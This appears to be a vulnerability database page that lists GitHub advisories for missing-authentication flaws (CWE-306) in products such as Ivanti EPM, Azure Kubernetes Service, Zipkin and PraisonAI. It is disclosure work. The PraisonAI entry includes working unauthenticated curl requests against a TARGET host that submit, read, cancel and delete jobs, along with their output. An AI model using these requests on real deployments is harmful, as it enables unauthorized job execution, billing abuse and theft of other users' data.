CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
4625 vulnerabilities reference this CWE, most recent first.
GHSA-2J3G-J6QJ-X9Q2
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-03-09 21:31An authentication bypass in Ivanti Endpoint Manager before version 2024 SU5 allows a remote unauthenticated attacker to leak specific stored credential data.
{
"affected": [],
"aliases": [
"CVE-2026-1603"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T16:16:10Z",
"severity": "HIGH"
},
"details": "An authentication bypass in Ivanti Endpoint Manager before version 2024 SU5 allows a remote unauthenticated attacker to leak specific stored credential data.",
"id": "GHSA-2j3g-j6qj-x9q2",
"modified": "2026-03-09T21:31:32Z",
"published": "2026-02-10T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1603"
},
{
"type": "WEB",
"url": "https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024?language=en_US"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-1603"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2J44-CF99-2FGR
Vulnerability from github – Published: 2026-07-24 15:33 – Updated: 2026-07-24 15:33Missing authentication for critical function in Microsoft Azure Kubernetes Service allows an unauthorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-56163"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-24T15:18:33Z",
"severity": "CRITICAL"
},
"details": "Missing authentication for critical function in Microsoft Azure Kubernetes Service allows an unauthorized attacker to elevate privileges over a network.",
"id": "GHSA-2j44-cf99-2fgr",
"modified": "2026-07-24T15:33:02Z",
"published": "2026-07-24T15:33:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56163"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56163"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2JGC-F764-C5R2
Vulnerability from github – Published: 2026-08-25 15:14 – Updated: 2026-08-25 15:14Summary
PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value.
The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.
This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the legacy Flask server src/praisonai/api_server.py. The fix added AUTH_ENABLED/AUTH_TOKEN/check_auth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.
Technical Detail
Source-to-sink trace
The FastAPI app includes the jobs router with only CORS middleware — no auth (server.py, create_app):
# src/praisonai/praisonai/jobs/server.py
def create_app(store=None, executor=None, cors_origins=None) -> FastAPI:
app = FastAPI(title="PraisonAI Jobs API", ...)
# ... CORS middleware only (allow_headers includes "Authorization",
# but CORS is not authentication) ...
jobs_router = create_router(get_store(), get_executor())
app.include_router(jobs_router) # no dependencies=[Depends(...)]
The router (built inside create_router()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization:
# src/praisonai/praisonai/jobs/router.py
router = APIRouter(prefix="/api/v1/runs", tags=["jobs"])
@router.post("", status_code=202) async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ...
@router.get("") async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...
@router.get("/{job_id}") async def get_job_status(job_id): ...
@router.get("/{job_id}/result") async def get_job_result(job_id): ...
@router.post("/{job_id}/cancel") async def cancel_job(job_id): ...
@router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ...
@router.get("/{job_id}/stream") async def stream_job(job_id): ...
submit_job() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent:
# executor.py — submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents()
agent = Agent(instructions="You are a helpful AI assistant.", output="minimal")
result = await asyncio.to_thread(agent.start, job.prompt) # attacker-controlled prompt
The in-memory store has no owner / principal / user concept. list_jobs() returns the whole store filtered only by caller-supplied status/session_id:
# store.py
async def list_jobs(self, status=None, session_id=None, limit=20, offset=0):
jobs = list(self._jobs.values()) # global; no owner binding
if session_id: jobs = [j for j in jobs if j.session_id == session_id]
...
A repository-wide grep of jobs/ for Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth returns only the string "Authorization" inside the CORS allow_headers list. There is no authentication primitive in the module.
Distinction from CVE-2026-44338 (critical for triage)
| CVE-2026-44338 (already fixed) | This finding | |
|---|---|---|
| Component | Legacy Flask src/praisonai/api_server.py |
FastAPI praisonai/jobs/ |
| Endpoints | GET /agents, POST /chat |
/api/v1/runs (submit/list/get/result/cancel/delete/stream) |
| Root cause | AUTH_ENABLED=False, AUTH_TOKEN=None, no-op check_auth() |
No auth dependency, middleware, or token exists at all |
| Status at 4.6.51 | Patched (auth enabled by default, token auto-generated, secrets.compare_digest) |
Unpatched |
The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.
Trigger conditions
- Start the server, e.g.
python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory. - Make it reachable (
--host 0.0.0.0, container publish, reverse proxy, tunnel). - Send unauthenticated requests to
POST/GET /api/v1/runs,GET /api/v1/runs/{id},GET /api/v1/runs/{id}/result,POST /api/v1/runs/{id}/cancel,DELETE /api/v1/runs/{id}.
Proof of Concept
Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each).
## Unauth POST /api/v1/runs (submit job)
POST /api/v1/runs -> HTTP 202 Authorization sent: None
body: {"job_id":"run_de282b4c3f1c","status":"queued", ...}
## Unauth GET /api/v1/runs (list every job in shared store)
GET /api/v1/runs -> HTTP 200 Authorization sent: None
body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...}
## Unauth GET /api/v1/runs/{id}/result (read tenant output)
GET /api/v1/runs/.../result -> HTTP 200 Authorization sent: None
body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...}
## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)
t=0.0s status=running ... t=2.0s status=running
POST /api/v1/runs/.../cancel -> HTTP 200 Authorization sent: None
after cancel status=cancelled
## Unauth DELETE /api/v1/runs/{id} (delete terminal job)
DELETE /api/v1/runs/... -> HTTP 204 Authorization sent: None
Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.)
Equivalent trigger in a fully installed, network-exposed deployment
python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory
curl -sS -X POST http://TARGET:8005/api/v1/runs \
-H 'Content-Type: application/json' \
--data-binary '{"prompt":"attacker controlled job","timeout":3600}'
curl -sS http://TARGET:8005/api/v1/runs
curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result
curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel
curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id>
Impact
- Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to
timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing. - Confidentiality: callers list all jobs (
GET /api/v1/runs) and read completed results from the shared store — other callers' agent outputs. - Integrity / control: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs.
Suggested Mitigation
Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:
- Add a jobs-server auth token (e.g.
PRAISONAI_JOBS_API_TOKEN) and require it on every/api/v1/runsroute via a router-level dependency, so future routes inherit protection by default. - Use constant-time comparison (
hmac.compare_digest/secrets.compare_digest). - Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs.
- Keep
127.0.0.1as default; warn or refuse when binding a public interface without auth configured. - Regression tests asserting unauthenticated
POST/GET/cancel/deletereturn401when auth is enabled.
import hmac, os
from fastapi import Depends, Header, HTTPException
def verify_jobs_token(authorization: str | None = Header(None),
x_api_key: str | None = Header(None, alias="X-API-Key")):
expected = os.getenv("PRAISONAI_JOBS_API_TOKEN")
if not expected:
raise HTTPException(401, "Jobs API auth is not configured")
token = x_api_key
if authorization and authorization.startswith("Bearer "):
token = authorization[7:]
if not token or not hmac.compare_digest(token, expected):
raise HTTPException(401, "Unauthorized")
# create_router(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verify_jobs_token)])
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55539"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:14:27Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nPraisonAI\u0027s async **Jobs API** (the FastAPI service in `praisonai/jobs/`) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator\u0027s configured LLM credentials), list every job in the shared store, read other jobs\u0027 results, cancel running jobs, and delete terminal jobs \u2014 with no token, cookie, session, or per-job ownership value.\n \nThe server\u0027s default bind is `127.0.0.1`, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.\n \n**This is a distinct, still-unpatched sibling of CVE-2026-44338.** That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the *legacy Flask* server `src/praisonai/api_server.py`. The fix added `AUTH_ENABLED`/`AUTH_TOKEN`/`check_auth()` to that file and did **not** touch the FastAPI jobs module. At the latest commit (`9fcac3a`, version **4.6.51**) the legacy Flask server is patched but the jobs API remains completely unauthenticated.\n\n## Technical Detail\n \n### Source-to-sink trace\n \nThe FastAPI app includes the jobs router with only CORS middleware \u2014 no auth (`server.py`, `create_app`):\n \n```python\n# src/praisonai/praisonai/jobs/server.py\ndef create_app(store=None, executor=None, cors_origins=None) -\u003e FastAPI:\n app = FastAPI(title=\"PraisonAI Jobs API\", ...)\n # ... CORS middleware only (allow_headers includes \"Authorization\",\n # but CORS is not authentication) ...\n jobs_router = create_router(get_store(), get_executor())\n app.include_router(jobs_router) # no dependencies=[Depends(...)]\n```\n \nThe router (built inside `create_router()`) registers every job operation with no auth dependency. The only `Header(...)` parameter anywhere is the `Idempotency-Key`, which is deduplication, not authorization:\n \n```python\n# src/praisonai/praisonai/jobs/router.py\nrouter = APIRouter(prefix=\"/api/v1/runs\", tags=[\"jobs\"])\n \n@router.post(\"\", status_code=202) async def submit_job(request, response, body, idempotency_key=Header(None, alias=\"Idempotency-Key\")): ...\n@router.get(\"\") async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...\n@router.get(\"/{job_id}\") async def get_job_status(job_id): ...\n@router.get(\"/{job_id}/result\") async def get_job_result(job_id): ...\n@router.post(\"/{job_id}/cancel\") async def cancel_job(job_id): ...\n@router.delete(\"/{job_id}\", status_code=204) async def delete_job(job_id): ...\n@router.get(\"/{job_id}/stream\") async def stream_job(job_id): ...\n```\n \n`submit_job()` builds a `Job` from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default `praisonai` framework runs the attacker prompt against a real agent:\n \n```python\n# executor.py \u2014 submit() -\u003e _execute_job() -\u003e _run_agent() -\u003e _run_praisonai_agents()\nagent = Agent(instructions=\"You are a helpful AI assistant.\", output=\"minimal\")\nresult = await asyncio.to_thread(agent.start, job.prompt) # attacker-controlled prompt\n```\n \nThe in-memory store has **no owner / principal / user concept**. `list_jobs()` returns the whole store filtered only by caller-supplied `status`/`session_id`:\n \n```python\n# store.py\nasync def list_jobs(self, status=None, session_id=None, limit=20, offset=0):\n jobs = list(self._jobs.values()) # global; no owner binding\n if session_id: jobs = [j for j in jobs if j.session_id == session_id]\n ...\n```\n \nA repository-wide grep of `jobs/` for `Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth` returns **only** the string `\"Authorization\"` inside the CORS `allow_headers` list. There is no authentication primitive in the module.\n \n### Distinction from CVE-2026-44338 (critical for triage)\n \n| | CVE-2026-44338 (already fixed) | This finding |\n|---|---|---|\n| Component | Legacy Flask `src/praisonai/api_server.py` | FastAPI `praisonai/jobs/` |\n| Endpoints | `GET /agents`, `POST /chat` | `/api/v1/runs` (submit/list/get/result/cancel/delete/stream) |\n| Root cause | `AUTH_ENABLED=False`, `AUTH_TOKEN=None`, no-op `check_auth()` | No auth dependency, middleware, or token exists at all |\n| Status at 4.6.51 | **Patched** (auth enabled by default, token auto-generated, `secrets.compare_digest`) | **Unpatched** |\n \nThe 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.\n \n### Trigger conditions\n \n1. Start the server, e.g. `python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory`.\n2. Make it reachable (`--host 0.0.0.0`, container publish, reverse proxy, tunnel).\n3. Send unauthenticated requests to `POST/GET /api/v1/runs`, `GET /api/v1/runs/{id}`, `GET /api/v1/runs/{id}/result`, `POST /api/v1/runs/{id}/cancel`, `DELETE /api/v1/runs/{id}`.\n\n## Proof of Concept\n \nVerified dynamically by running the **real** `praisonai.jobs` router, executor, and store over HTTP via FastAPI `TestClient`. The only stub is `praisonaiagents.Agent` (its `.start()` returns canned text), so **no real LLM call and no API credentials were used**. Every request below was sent with **no `Authorization` header, cookie, or token** (the runner asserts `Authorization sent: None` on each).\n \n```\n## Unauth POST /api/v1/runs (submit job)\n POST /api/v1/runs -\u003e HTTP 202 Authorization sent: None\n body: {\"job_id\":\"run_de282b4c3f1c\",\"status\":\"queued\", ...}\n \n## Unauth GET /api/v1/runs (list every job in shared store)\n GET /api/v1/runs -\u003e HTTP 200 Authorization sent: None\n body: {\"jobs\":[{\"job_id\":\"run_de282b4c3f1c\",\"status\":\"succeeded\", ...}], \"total\":1, ...}\n \n## Unauth GET /api/v1/runs/{id}/result (read tenant output)\n GET /api/v1/runs/.../result -\u003e HTTP 200 Authorization sent: None\n body: {\"result\":\"TENANT-PRIVATE-OUTPUT for prompt=\u0027attacker-controlled job\u0027\", ...}\n \n## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)\n t=0.0s status=running ... t=2.0s status=running\n POST /api/v1/runs/.../cancel -\u003e HTTP 200 Authorization sent: None\n after cancel status=cancelled\n \n## Unauth DELETE /api/v1/runs/{id} (delete terminal job)\n DELETE /api/v1/runs/... -\u003e HTTP 204 Authorization sent: None\n```\n \nEach privileged operation succeeded with zero credentials. (The result endpoint returns a different job\u0027s stored output \u2014 the cross-job confidentiality primitive.)\n \n### Equivalent trigger in a fully installed, network-exposed deployment\n \n```bash\npython -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory\n \ncurl -sS -X POST http://TARGET:8005/api/v1/runs \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-binary \u0027{\"prompt\":\"attacker controlled job\",\"timeout\":3600}\u0027\ncurl -sS http://TARGET:8005/api/v1/runs\ncurl -sS http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e/result\ncurl -sS -X POST http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e/cancel\ncurl -sS -X DELETE http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e\n```\n \n## Impact\n \n- **Execution / cost**: unauthenticated callers run arbitrary prompts against the operator\u0027s configured LLM credentials, and can queue long-running jobs (up to `timeout`, default 3600s) consuming CPU, memory, queue slots, and provider billing.\n- **Confidentiality**: callers list all jobs (`GET /api/v1/runs`) and read completed results from the shared store \u2014 other callers\u0027 agent outputs.\n- **Integrity / control**: callers cancel running jobs and delete terminal jobs.\nThe realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator\u0027s LLM account, then enumerate and exfiltrate other jobs\u0027 outputs.\n \n## Suggested Mitigation\n \nMirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:\n \n- Add a jobs-server auth token (e.g. `PRAISONAI_JOBS_API_TOKEN`) and require it on every `/api/v1/runs` route via a **router-level dependency**, so future routes inherit protection by default.\n- Use constant-time comparison (`hmac.compare_digest` / `secrets.compare_digest`).\n- Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller\u0027s jobs.\n- Keep `127.0.0.1` as default; warn or refuse when binding a public interface without auth configured.\n- Regression tests asserting unauthenticated `POST` / `GET` / `cancel` / `delete` return `401` when auth is enabled.\n```python\nimport hmac, os\nfrom fastapi import Depends, Header, HTTPException\n \ndef verify_jobs_token(authorization: str | None = Header(None),\n x_api_key: str | None = Header(None, alias=\"X-API-Key\")):\n expected = os.getenv(\"PRAISONAI_JOBS_API_TOKEN\")\n if not expected:\n raise HTTPException(401, \"Jobs API auth is not configured\")\n token = x_api_key\n if authorization and authorization.startswith(\"Bearer \"):\n token = authorization[7:]\n if not token or not hmac.compare_digest(token, expected):\n raise HTTPException(401, \"Unauthorized\")\n \n# create_router(...) -\u003e APIRouter(prefix=\"/api/v1/runs\", dependencies=[Depends(verify_jobs_token)])\n```",
"id": "GHSA-2jgc-f764-c5r2",
"modified": "2026-08-25T15:14:27Z",
"published": "2026-08-25T15:14:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2jgc-f764-c5r2"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication \u2014 unauthenticated job execution, result theft, cancel and delete"
}
GHSA-2JJQ-JGQ8-2H5H
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-07-29 00:00A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions). The vulnerability could allow an unauthenticated attacker to reboot the device over the network by using special urls from integrated web server of the affected products.
{
"affected": [],
"aliases": [
"CVE-2020-15799"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-12T21:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions). The vulnerability could allow an unauthenticated attacker to reboot the device over the network by using special urls from integrated web server of the affected products.",
"id": "GHSA-2jjq-jgq8-2h5h",
"modified": "2022-07-29T00:00:35Z",
"published": "2022-05-24T17:38:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15799"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-139628.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2JQJ-W7H9-J4G2
Vulnerability from github – Published: 2023-12-14 18:30 – Updated: 2023-12-14 18:30In WhatsUp Gold versions released before 2023.1, an API endpoint was found to be missing an authentication mechanism. It is possible for an unauthenticated attacker to enumerate ancillary credential information stored within WhatsUp Gold.
{
"affected": [],
"aliases": [
"CVE-2023-6595"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-14T16:15:54Z",
"severity": "HIGH"
},
"details": "\nIn WhatsUp Gold versions released before 2023.1, an API endpoint was found to be missing an authentication mechanism. It is possible for an unauthenticated attacker to enumerate ancillary credential information stored within WhatsUp Gold.\n\n",
"id": "GHSA-2jqj-w7h9-j4g2",
"modified": "2023-12-14T18:30:21Z",
"published": "2023-12-14T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6595"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-December-2023"
},
{
"type": "WEB",
"url": "https://www.progress.com/network-monitoring"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M2R-HGFH-2MRP
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-22 18:31Terminal Services Manager 3.1 contains a stack-based buffer overflow vulnerability in the computer names field that allows local attackers to execute arbitrary code by triggering structured exception handling. Attackers can craft a malicious input file with shellcode and jump instructions that overwrite the SEH handler pointer to execute calc.exe or other payloads when imported through the add computers wizard.
{
"affected": [],
"aliases": [
"CVE-2018-25259"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T16:16:45Z",
"severity": "HIGH"
},
"details": "Terminal Services Manager 3.1 contains a stack-based buffer overflow vulnerability in the computer names field that allows local attackers to execute arbitrary code by triggering structured exception handling. Attackers can craft a malicious input file with shellcode and jump instructions that overwrite the SEH handler pointer to execute calc.exe or other payloads when imported through the add computers wizard.",
"id": "GHSA-2m2r-hgfh-2mrp",
"modified": "2026-04-22T18:31:44Z",
"published": "2026-04-22T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25259"
},
{
"type": "WEB",
"url": "https://lizardsystems.com"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46058"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/terminal-services-manager-buffer-overflow-seh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2MV6-7845-668G
Vulnerability from github – Published: 2026-08-28 21:31 – Updated: 2026-08-28 21:31Zipkin through 3.6.1 exposes Spring Boot Actuator endpoints on the tracing API port without authentication, allowing unauthenticated attackers to access sensitive information. Attackers can read environment variables, bean configurations, and storage credentials via actuator endpoints, or modify log levels to suppress logging.
{
"affected": [],
"aliases": [
"CVE-2026-82265"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T20:20:17Z",
"severity": "MODERATE"
},
"details": "Zipkin through 3.6.1 exposes Spring Boot Actuator endpoints on the tracing API port without authentication, allowing unauthenticated attackers to access sensitive information. Attackers can read environment variables, bean configurations, and storage credentials via actuator endpoints, or modify log levels to suppress logging.",
"id": "GHSA-2mv6-7845-668g",
"modified": "2026-08-28T21:31:22Z",
"published": "2026-08-28T21:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82265"
},
{
"type": "WEB",
"url": "https://github.com/openzipkin/zipkin/issues/3835"
},
{
"type": "WEB",
"url": "https://github.com/openzipkin/zipkin"
},
{
"type": "WEB",
"url": "https://github.com/openzipkin/zipkin/blob/878ce2a1fad54ca941d17fdcf2e1d924b148eb1f/zipkin-server/src/main/resources/zipkin-server-shared.yml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/zipkin-unauthenticated-spring-boot-actuator-endpoints-exposure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2MV8-C3HX-XQ6V
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32In mintplex-labs/anything-llm v1.5.11 desktop version for Windows, the application opens server port 3001 on 0.0.0.0 with no authentication by default. This vulnerability allows an attacker to gain full backend access, enabling them to perform actions such as deleting all data from the workspace.
{
"affected": [],
"aliases": [
"CVE-2024-8196"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:41Z",
"severity": "CRITICAL"
},
"details": "In mintplex-labs/anything-llm v1.5.11 desktop version for Windows, the application opens server port 3001 on 0.0.0.0 with no authentication by default. This vulnerability allows an attacker to gain full backend access, enabling them to perform actions such as deleting all data from the workspace.",
"id": "GHSA-2mv8-c3hx-xq6v",
"modified": "2025-03-20T12:32:47Z",
"published": "2025-03-20T12:32:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8196"
},
{
"type": "WEB",
"url": "https://github.com/mintplex-labs/anything-llm/commit/9bfe477f10b188bfe3508ac29105df80d4522ece"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/dbde1c71-7aa5-46f6-847a-d89793cf97a9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MXQ-QCVH-7G7W
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in Oracle GoldenGate (component: Oracle GoldenGate Microservices). Supported versions that are affected are 19.1.0.0.0-19.30.0.0, 21.3-21.21 and 23.4-23.26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle GoldenGate. Successful attacks of this vulnerability can result in takeover of Oracle GoldenGate. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60398"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:42Z",
"severity": "HIGH"
},
"details": "Vulnerability in Oracle GoldenGate (component: Oracle GoldenGate Microservices). Supported versions that are affected are 19.1.0.0.0-19.30.0.0, 21.3-21.21 and 23.4-23.26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle GoldenGate. Successful attacks of this vulnerability can result in takeover of Oracle GoldenGate. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-2mxq-qcvh-7g7w",
"modified": "2026-07-22T00:31:39Z",
"published": "2026-07-22T00:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60398"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2P25-XM7M-9VH5
